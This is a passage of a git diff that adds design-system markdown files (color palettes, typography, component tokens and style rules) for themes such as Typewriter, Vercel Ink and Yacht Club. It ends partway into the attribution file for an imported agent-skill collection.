a/imported-skills/designdotmd/designs/transit-map.md b/imported-skills/designdotmd/designs/transit-map.md new file mode 100644 index 0000000000000000000000000000000000000000..1378580fa9512ea2d1323c60de25f2e705962734 --- /dev/null +++ b/imported-skills/designdotmd/designs/transit-map.md @@ -0,0 +1,76 @@ +--- +version: alpha +name: Transit Map +description: Tokyo metro: primary colored lines, precise signage. +colors: + primary: "#121212" + secondary: "#666666" + tertiary: "#0064D2" + neutral: "#F8F8F8" + surface: "#FFFFFF" + on-primary: "#FFFFFF" +typography: + display: + fontFamily: Work Sans + fontSize: 3.75rem + fontWeight: 700 + letterSpacing: "-0.03em" + h1: + fontFamily: Work Sans + fontSize: 2.25rem + fontWeight: 700 + body: + fontFamily: Work Sans + fontSize: 0.95rem + lineHeight: 1.55 + label: + fontFamily: Work Sans + fontSize: 0.72rem + fontWeight: 700 + letterSpacing: "0.08em" +rounded: + sm: 2px + md: 4px + lg: 6px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A transit-signage system: disciplined sans, route-coded primaries. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#121212`):** Headlines and core text. +- **Secondary (`#666666`):** Borders, captions, and metadata. +- **Tertiary (`#0064D2`):** The sole driver for interaction. Reserve it. +- **Neutral (`#F8F8F8`):** The page foundation. + +## Typography + +- **display:** Work Sans 3.75rem +- **h1:** Work Sans 2.25rem +- **body:** Work Sans 0.95rem +- **label:** Work Sans 0.72rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/transit-map.meta.json b/imported-skills/designdotmd/designs/transit-map.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..25e51f81b908656e0ec48da48d4696772e226e5b --- /dev/null +++ b/imported-skills/designdotmd/designs/transit-map.meta.json @@ -0,0 +1,4 @@ +{ + "id": "transit-map", + "name": "Transit Map" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/typewriter.md b/imported-skills/designdotmd/designs/typewriter.md new file mode 100644 index 0000000000000000000000000000000000000000..608807fc75f7bde0c53897479650969e4bd89010 --- /dev/null +++ b/imported-skills/designdotmd/designs/typewriter.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: Typewriter +description: Ribbon black on manila, nothing else. +colors: + primary: "#1A0F00" + secondary: "#6B5B3E" + tertiary: "#A8271E" + neutral: "#EDDFB6" + surface: "#F5EAC8" + on-primary: "#F5EAC8" +typography: + display: + fontFamily: Special Elite + fontSize: 3.75rem + fontWeight: 400 + letterSpacing: "-0.01em" + h1: + fontFamily: Special Elite + fontSize: 2.25rem + fontWeight: 400 + body: + fontFamily: Courier Prime + fontSize: 1rem + lineHeight: 1.65 + label: + fontFamily: Courier Prime + fontSize: 0.75rem + letterSpacing: "0.04em" +rounded: + sm: 0px + md: 0px + lg: 2px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A writer's tool. Monospaced throughout, manila paper background, single red for edits. Every word carries weight. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#1A0F00`):** Headlines and core text. +- **Secondary (`#6B5B3E`):** Borders, captions, and metadata. +- **Tertiary (`#A8271E`):** The sole driver for interaction. Reserve it. +- **Neutral (`#EDDFB6`):** The page foundation. + +## Typography + +- **display:** Special Elite 3.75rem +- **h1:** Special Elite 2.25rem +- **body:** Courier Prime 1rem +- **label:** Courier Prime 0.75rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/typewriter.meta.json b/imported-skills/designdotmd/designs/typewriter.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..02929a59c8ebced7e4e8acc3f71ec22e0504a20e --- /dev/null +++ b/imported-skills/designdotmd/designs/typewriter.meta.json @@ -0,0 +1,4 @@ +{ + "id": "typewriter", + "name": "Typewriter" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/vercel-ink.md b/imported-skills/designdotmd/designs/vercel-ink.md new file mode 100644 index 0000000000000000000000000000000000000000..b2032e86523241743373a10b4708bece8deeadc5 --- /dev/null +++ b/imported-skills/designdotmd/designs/vercel-ink.md @@ -0,0 +1,76 @@ +--- +version: alpha +name: Vercel Ink +description: Surgical black, surgical white, sharp geometry. +colors: + primary: "#EDEDED" + secondary: "#8F8F8F" + tertiary: "#0070F3" + neutral: "#000000" + surface: "#0A0A0A" + on-primary: "#FFFFFF" +typography: + display: + fontFamily: Geist + fontSize: 4rem + fontWeight: 600 + letterSpacing: "-0.04em" + h1: + fontFamily: Geist + fontSize: 2.25rem + fontWeight: 600 + letterSpacing: "-0.025em" + body: + fontFamily: Geist + fontSize: 0.95rem + lineHeight: 1.55 + label: + fontFamily: Geist Mono + fontSize: 0.75rem + letterSpacing: "0" +rounded: + sm: 6px + md: 8px + lg: 12px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +Product-grade minimalism. Edge-to-edge black surfaces, thin hairlines, a single electric gradient accent reserved for primary action. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#EDEDED`):** Headlines and core text. +- **Secondary (`#8F8F8F`):** Borders, captions, and metadata. +- **Tertiary (`#0070F3`):** The sole driver for interaction. Reserve it. +- **Neutral (`#000000`):** The page foundation. + +## Typography + +- **display:** Geist 4rem +- **h1:** Geist 2.25rem +- **body:** Geist 0.95rem +- **label:** Geist Mono 0.75rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/vercel-ink.meta.json b/imported-skills/designdotmd/designs/vercel-ink.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..27d4c77b1ec43bcf5d04829a69448a356eff51b8 --- /dev/null +++ b/imported-skills/designdotmd/designs/vercel-ink.meta.json @@ -0,0 +1,4 @@ +{ + "id": "vercel-ink", + "name": "Vercel Ink" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/wealth-noir.md b/imported-skills/designdotmd/designs/wealth-noir.md new file mode 100644 index 0000000000000000000000000000000000000000..a76da053c74da5ee29b5969c43f8eb0368316cf9 --- /dev/null +++ b/imported-skills/designdotmd/designs/wealth-noir.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: Wealth Noir +description: Private-banking black, champagne letterforms. +colors: + primary: "#E9E3D4" + secondary: "#8C8575" + tertiary: "#C9A15A" + neutral: "#0A0A09" + surface: "#131211" + on-primary: "#0A0A09" +typography: + display: + fontFamily: Playfair Display + fontSize: 4.5rem + fontWeight: 500 + h1: + fontFamily: Playfair Display + fontSize: 2.5rem + fontWeight: 500 + body: + fontFamily: Inter + fontSize: 0.95rem + lineHeight: 1.65 + label: + fontFamily: Inter + fontSize: 0.72rem + fontWeight: 600 + letterSpacing: "0.16em" +rounded: + sm: 1px + md: 2px + lg: 3px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A discreet, high-net-worth system. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#E9E3D4`):** Headlines and core text. +- **Secondary (`#8C8575`):** Borders, captions, and metadata. +- **Tertiary (`#C9A15A`):** The sole driver for interaction. Reserve it. +- **Neutral (`#0A0A09`):** The page foundation. + +## Typography + +- **display:** Playfair Display 4.5rem +- **h1:** Playfair Display 2.5rem +- **body:** Inter 0.95rem +- **label:** Inter 0.72rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/wealth-noir.meta.json b/imported-skills/designdotmd/designs/wealth-noir.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..937c3490e03a8ccc65d97b0a95be84def0918433 --- /dev/null +++ b/imported-skills/designdotmd/designs/wealth-noir.meta.json @@ -0,0 +1,4 @@ +{ + "id": "wealth-noir", + "name": "Wealth Noir" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/weather-stratus.md b/imported-skills/designdotmd/designs/weather-stratus.md new file mode 100644 index 0000000000000000000000000000000000000000..66ae3fece964534ca0fdcf67a21fdf73dc326e79 --- /dev/null +++ b/imported-skills/designdotmd/designs/weather-stratus.md @@ -0,0 +1,76 @@ +--- +version: alpha +name: Weather Stratus +description: Forecast app: stratus grey, rain blue, storm amber. +colors: + primary: "#0F1620" + secondary: "#61738C" + tertiary: "#F2A03D" + neutral: "#EDF1F7" + surface: "#FFFFFF" + on-primary: "#FFFFFF" +typography: + display: + fontFamily: Outfit + fontSize: 4rem + fontWeight: 300 + letterSpacing: "-0.04em" + h1: + fontFamily: Outfit + fontSize: 2.1rem + fontWeight: 400 + body: + fontFamily: Outfit + fontSize: 0.95rem + lineHeight: 1.55 + label: + fontFamily: Outfit + fontSize: 0.72rem + fontWeight: 500 + letterSpacing: "0.14em" +rounded: + sm: 6px + md: 12px + lg: 22px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A weather-forecast palette: stratus greys, rain-blue primary, storm-amber alert accent. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#0F1620`):** Headlines and core text. +- **Secondary (`#61738C`):** Borders, captions, and metadata. +- **Tertiary (`#F2A03D`):** The sole driver for interaction. Reserve it. +- **Neutral (`#EDF1F7`):** The page foundation. + +## Typography + +- **display:** Outfit 4rem +- **h1:** Outfit 2.1rem +- **body:** Outfit 0.95rem +- **label:** Outfit 0.72rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/weather-stratus.meta.json b/imported-skills/designdotmd/designs/weather-stratus.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..21b4a7a0fadb4b1076c9de40019c29661f329c38 --- /dev/null +++ b/imported-skills/designdotmd/designs/weather-stratus.meta.json @@ -0,0 +1,4 @@ +{ + "id": "weather-stratus", + "name": "Weather Stratus" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/wellness-coral.md b/imported-skills/designdotmd/designs/wellness-coral.md new file mode 100644 index 0000000000000000000000000000000000000000..91b86df101a84c7cb7f5da14c2533d3f7a7cda7a --- /dev/null +++ b/imported-skills/designdotmd/designs/wellness-coral.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: Wellness Coral +description: Sunrise coral, cotton grey, breathwork pastels. +colors: + primary: "#2B2724" + secondary: "#A19890" + tertiary: "#FF6E5C" + neutral: "#FDF6F3" + surface: "#FFFFFF" + on-primary: "#FFFFFF" +typography: + display: + fontFamily: Spectral + fontSize: 4rem + fontWeight: 400 + h1: + fontFamily: Spectral + fontSize: 2.25rem + fontWeight: 400 + body: + fontFamily: Inter + fontSize: 1rem + lineHeight: 1.65 + label: + fontFamily: Inter + fontSize: 0.72rem + fontWeight: 600 + letterSpacing: "0.1em" +rounded: + sm: 10px + md: 18px + lg: 28px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A wellness-app palette that nudges without shouting. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#2B2724`):** Headlines and core text. +- **Secondary (`#A19890`):** Borders, captions, and metadata. +- **Tertiary (`#FF6E5C`):** The sole driver for interaction. Reserve it. +- **Neutral (`#FDF6F3`):** The page foundation. + +## Typography + +- **display:** Spectral 4rem +- **h1:** Spectral 2.25rem +- **body:** Inter 1rem +- **label:** Inter 0.72rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/wellness-coral.meta.json b/imported-skills/designdotmd/designs/wellness-coral.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..b6987626815070411b38ca5fdf9a953bc7b6b6c4 --- /dev/null +++ b/imported-skills/designdotmd/designs/wellness-coral.meta.json @@ -0,0 +1,4 @@ +{ + "id": "wellness-coral", + "name": "Wellness Coral" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/whisky-peat.md b/imported-skills/designdotmd/designs/whisky-peat.md new file mode 100644 index 0000000000000000000000000000000000000000..9236164fe8bc2785363480be601ee10f28b6e748 --- /dev/null +++ b/imported-skills/designdotmd/designs/whisky-peat.md @@ -0,0 +1,76 @@ +--- +version: alpha +name: Whisky Peat +description: Peated scotch: smoke black, barrel oak, burnt orange. +colors: + primary: "#F0E6D1" + secondary: "#A89574" + tertiary: "#D17A2C" + neutral: "#0F0B08" + surface: "#1A130E" + on-primary: "#F0E6D1" +typography: + display: + fontFamily: Playfair Display + fontSize: 5rem + fontWeight: 700 + letterSpacing: "-0.02em" + h1: + fontFamily: Playfair Display + fontSize: 2.4rem + fontWeight: 600 + body: + fontFamily: Lora + fontSize: 1.02rem + lineHeight: 1.7 + label: + fontFamily: Lora + fontSize: 0.74rem + fontWeight: 600 + letterSpacing: "0.2em" +rounded: + sm: 2px + md: 4px + lg: 6px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A whisky-brand palette: peat-smoke black, oak barrel browns, one burnt-orange label accent. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#F0E6D1`):** Headlines and core text. +- **Secondary (`#A89574`):** Borders, captions, and metadata. +- **Tertiary (`#D17A2C`):** The sole driver for interaction. Reserve it. +- **Neutral (`#0F0B08`):** The page foundation. + +## Typography + +- **display:** Playfair Display 5rem +- **h1:** Playfair Display 2.4rem +- **body:** Lora 1.02rem +- **label:** Lora 0.74rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/whisky-peat.meta.json b/imported-skills/designdotmd/designs/whisky-peat.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..865187446cd72e9330b61c1194cab7af3e5012e0 --- /dev/null +++ b/imported-skills/designdotmd/designs/whisky-peat.meta.json @@ -0,0 +1,4 @@ +{ + "id": "whisky-peat", + "name": "Whisky Peat" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/wine-country.md b/imported-skills/designdotmd/designs/wine-country.md new file mode 100644 index 0000000000000000000000000000000000000000..98957dcd5bca2c53a0d0edbc90b535f63bcc9c42 --- /dev/null +++ b/imported-skills/designdotmd/designs/wine-country.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: Wine Country +description: Bordeaux, cream, long golden afternoons. +colors: + primary: "#3B1520" + secondary: "#8B5E6A" + tertiary: "#B8935F" + neutral: "#F4EBDC" + surface: "#FAF3E4" + on-primary: "#FAF3E4" +typography: + display: + fontFamily: Playfair Display + fontSize: 5rem + fontWeight: 500 + letterSpacing: "-0.02em" + h1: + fontFamily: Playfair Display + fontSize: 2.75rem + fontWeight: 500 + body: + fontFamily: Lora + fontSize: 1.05rem + lineHeight: 1.7 + label: + fontFamily: Inter + fontSize: 0.72rem + letterSpacing: "0.14em" +rounded: + sm: 2px + md: 4px + lg: 8px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +An epicurean palette. Deep wine primary, cream paper, gold accent. For luxury goods and long-form storytelling. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#3B1520`):** Headlines and core text. +- **Secondary (`#8B5E6A`):** Borders, captions, and metadata. +- **Tertiary (`#B8935F`):** The sole driver for interaction. Reserve it. +- **Neutral (`#F4EBDC`):** The page foundation. + +## Typography + +- **display:** Playfair Display 5rem +- **h1:** Playfair Display 2.75rem +- **body:** Lora 1.05rem +- **label:** Inter 0.72rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/wine-country.meta.json b/imported-skills/designdotmd/designs/wine-country.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..63c0a0abc6793a6679056a19f93d740728e9bda4 --- /dev/null +++ b/imported-skills/designdotmd/designs/wine-country.meta.json @@ -0,0 +1,4 @@ +{ + "id": "wine-country", + "name": "Wine Country" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/y2k-chrome.md b/imported-skills/designdotmd/designs/y2k-chrome.md new file mode 100644 index 0000000000000000000000000000000000000000..e4c6bc543a81fc3039c2b01f7a9b5178a274d651 --- /dev/null +++ b/imported-skills/designdotmd/designs/y2k-chrome.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: Y2K Chrome +description: Frutiger Aero meets the CD-ROM menu. +colors: + primary: "#0F172A" + secondary: "#60A5FA" + tertiary: "#06B6D4" + neutral: "#E0F2FE" + surface: "#FFFFFF" + on-primary: "#FFFFFF" +typography: + display: + fontFamily: Syne + fontSize: 4.5rem + fontWeight: 800 + letterSpacing: "-0.04em" + h1: + fontFamily: Syne + fontSize: 2.5rem + fontWeight: 700 + body: + fontFamily: Inter + fontSize: 0.95rem + lineHeight: 1.55 + label: + fontFamily: JetBrains Mono + fontSize: 0.72rem + letterSpacing: "0.04em" +rounded: + sm: 10px + md: 18px + lg: 28px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +Glossy chrome gradients, bubble typography, cyan sheen. Built for nostalgia with a sharp contemporary edge. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#0F172A`):** Headlines and core text. +- **Secondary (`#60A5FA`):** Borders, captions, and metadata. +- **Tertiary (`#06B6D4`):** The sole driver for interaction. Reserve it. +- **Neutral (`#E0F2FE`):** The page foundation. + +## Typography + +- **display:** Syne 4.5rem +- **h1:** Syne 2.5rem +- **body:** Inter 0.95rem +- **label:** JetBrains Mono 0.72rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/y2k-chrome.meta.json b/imported-skills/designdotmd/designs/y2k-chrome.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..1fa4a95776b2fbad0fa85dc1b632bcd8009b15f2 --- /dev/null +++ b/imported-skills/designdotmd/designs/y2k-chrome.meta.json @@ -0,0 +1,4 @@ +{ + "id": "y2k-chrome", + "name": "Y2K Chrome" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/yacht-club.md b/imported-skills/designdotmd/designs/yacht-club.md new file mode 100644 index 0000000000000000000000000000000000000000..3419124220fa6771b3f77ffa4e7d403c00d8c85d --- /dev/null +++ b/imported-skills/designdotmd/designs/yacht-club.md @@ -0,0 +1,76 @@ +--- +version: alpha +name: Yacht Club +description: Regatta: navy, rope cream, signal flag red. +colors: + primary: "#F7F0DE" + secondary: "#B4A88A" + tertiary: "#C42C2C" + neutral: "#0B2440" + surface: "#142F54" + on-primary: "#F7F0DE" +typography: + display: + fontFamily: Playfair Display + fontSize: 4.5rem + fontWeight: 600 + letterSpacing: "-0.01em" + h1: + fontFamily: Playfair Display + fontSize: 2.3rem + fontWeight: 600 + body: + fontFamily: Inter + fontSize: 1rem + lineHeight: 1.65 + label: + fontFamily: Inter + fontSize: 0.72rem + fontWeight: 600 + letterSpacing: "0.18em" +rounded: + sm: 2px + md: 3px + lg: 5px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A yacht-club brand palette: deep navy, cream sail, signal red. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#F7F0DE`):** Headlines and core text. +- **Secondary (`#B4A88A`):** Borders, captions, and metadata. +- **Tertiary (`#C42C2C`):** The sole driver for interaction. Reserve it. +- **Neutral (`#0B2440`):** The page foundation. + +## Typography + +- **display:** Playfair Display 4.5rem +- **h1:** Playfair Display 2.3rem +- **body:** Inter 1rem +- **label:** Inter 0.72rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/yacht-club.meta.json b/imported-skills/designdotmd/designs/yacht-club.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..73379862022514bfcb1014c73ff7ca3b59613c01 --- /dev/null +++ b/imported-skills/designdotmd/designs/yacht-club.meta.json @@ -0,0 +1,4 @@ +{ + "id": "yacht-club", + "name": "Yacht Club" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/zed-dev.md b/imported-skills/designdotmd/designs/zed-dev.md new file mode 100644 index 0000000000000000000000000000000000000000..ca7c2d14ea60ede19fb32285a8bdbf6f1b853a35 --- /dev/null +++ b/imported-skills/designdotmd/designs/zed-dev.md @@ -0,0 +1,74 @@ +--- +version: alpha +name: Zed Dev +description: Editor-dark, warmer than pitch, glyph-sharp. +colors: + primary: "#E5E4DF" + secondary: "#7B7A74" + tertiary: "#5FB5D6" + neutral: "#161614" + surface: "#1D1D1B" + on-primary: "#161614" +typography: + display: + fontFamily: JetBrains Mono + fontSize: 3.2rem + fontWeight: 500 + letterSpacing: "-0.02em" + h1: + fontFamily: JetBrains Mono + fontSize: 1.75rem + fontWeight: 500 + body: + fontFamily: Inter + fontSize: 0.92rem + lineHeight: 1.55 + label: + fontFamily: JetBrains Mono + fontSize: 0.72rem +rounded: + sm: 3px + md: 6px + lg: 10px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A developer-editor palette: warm near-black, cyan accent, mono everywhere. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#E5E4DF`):** Headlines and core text. +- **Secondary (`#7B7A74`):** Borders, captions, and metadata. +- **Tertiary (`#5FB5D6`):** The sole driver for interaction. Reserve it. +- **Neutral (`#161614`):** The page foundation. + +## Typography + +- **display:** JetBrains Mono 3.2rem +- **h1:** JetBrains Mono 1.75rem +- **body:** Inter 0.92rem +- **label:** JetBrains Mono 0.72rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/zed-dev.meta.json b/imported-skills/designdotmd/designs/zed-dev.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..da28fdbab5c6cd9adf6636d17fdf123619a77680 --- /dev/null +++ b/imported-skills/designdotmd/designs/zed-dev.meta.json @@ -0,0 +1,4 @@ +{ + "id": "zed-dev", + "name": "Zed Dev" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/zine-risograph.md b/imported-skills/designdotmd/designs/zine-risograph.md new file mode 100644 index 0000000000000000000000000000000000000000..63aa3b3470f2d6586816e6deba75521ed05948df --- /dev/null +++ b/imported-skills/designdotmd/designs/zine-risograph.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: Zine Risograph +description: Riso-printed zines: fluoro pink on pulp paper. +colors: + primary: "#181818" + secondary: "#666666" + tertiary: "#FF48B0" + neutral: "#F0E8D6" + surface: "#F8F1DF" + on-primary: "#F8F1DF" +typography: + display: + fontFamily: Syne + fontSize: 5rem + fontWeight: 800 + letterSpacing: "-0.03em" + h1: + fontFamily: Syne + fontSize: 2.4rem + fontWeight: 700 + body: + fontFamily: Space Grotesk + fontSize: 0.98rem + lineHeight: 1.6 + label: + fontFamily: Space Mono + fontSize: 0.72rem + letterSpacing: "0.08em" +rounded: + sm: 0px + md: 2px + lg: 4px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A risograph-zine aesthetic: fluoro pink and teal over pulp paper, smudgy grain. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#181818`):** Headlines and core text. +- **Secondary (`#666666`):** Borders, captions, and metadata. +- **Tertiary (`#FF48B0`):** The sole driver for interaction. Reserve it. +- **Neutral (`#F0E8D6`):** The page foundation. + +## Typography + +- **display:** Syne 5rem +- **h1:** Syne 2.4rem +- **body:** Space Grotesk 0.98rem +- **label:** Space Mono 0.72rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/zine-risograph.meta.json b/imported-skills/designdotmd/designs/zine-risograph.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..d049be6585b3bff01e0040350f4d06c91220f15a --- /dev/null +++ b/imported-skills/designdotmd/designs/zine-risograph.meta.json @@ -0,0 +1,4 @@ +{ + "id": "zine-risograph", + "name": "Zine Risograph" +} \ No newline at end of file diff --git a/imported-skills/mattpocock/ATTRIBUTION.md b/imported-skills/mattpocock/ATTRIBUTION.md new file mode 100644 index 0000000000000000000000000000000000000000..e4315e22b03f148d47d977081b0585cc06475832 --- /dev/null +++ b/imported-skills/mattpocock/ATTRIBUTION.md @@ -0,0 +1,103 @@ +# Mattpocock Skills Import — Attribution & Usage + +This directory mirrors Matt Pocock's personal `.claude/` skill set — opinionated +agent skills covering TDD, domain modelling, codebase architecture review, +github triage, and meta-workflows for working with Claude Code. + +## Provenance + +| Field | Value | +|---|---| +| Upstream repo | https://github.com/mattpocock/skills | +| Revision | `90ea8eec03d4ae8f43427aaf6fe4722653561a42` | +| Revision date | 2026-04-26 | +| Upstream license | MIT (see `LICENSE`) | +| Imported on | 2026-04-27 | +| Skill count | 21 | + +## What's in here + +Each top-level directory is one skill, with `SKILL.md` as the entry point and +optional supporting `.md` / `.sh` files alongside it (e.g. `tdd/deep-modules.md`, +`domain-model/ADR-FORMAT.md`, 